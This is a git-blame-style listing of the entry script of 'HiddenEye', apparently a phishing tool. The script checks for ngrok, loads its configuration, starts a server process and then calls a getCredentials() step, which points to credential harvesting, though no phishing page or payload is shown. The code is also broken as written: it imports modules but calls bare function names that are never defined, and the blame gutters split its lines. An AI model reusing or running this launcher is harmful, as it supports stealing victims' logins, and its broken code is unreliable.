2018-10-29 03:49:19 +08:00
|
|
|
#HiddenEye by Open Source Community
|
|
|
|
import multiprocessing
|
2018-10-30 23:14:08 +08:00
|
|
|
from Defs import Checks
|
|
|
|
from Defs import Configurations
|
|
|
|
from Defs import Actions
|
2018-10-29 03:49:19 +08:00
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m'
|
|
|
|
|
|
|
|
checkConnection()
|
|
|
|
checkNgrok()
|
|
|
|
|
|
|
|
ifSettingsNotExists()
|
|
|
|
readConfig()
|
|
|
|
config = readConfig()
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
try:
|
|
|
|
runMainMenu()
|
|
|
|
|
|
|
|
inputCustom()
|
|
|
|
##############
|
|
|
|
selectServer()
|
2018-10-30 22:32:47 +08:00
|
|
|
|
2018-10-29 03:49:19 +08:00
|
|
|
multiprocessing.Process(target=runServer).start()
|
|
|
|
getCredentials()
|
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
endMessage()
|
|
|
|
exit(0)
|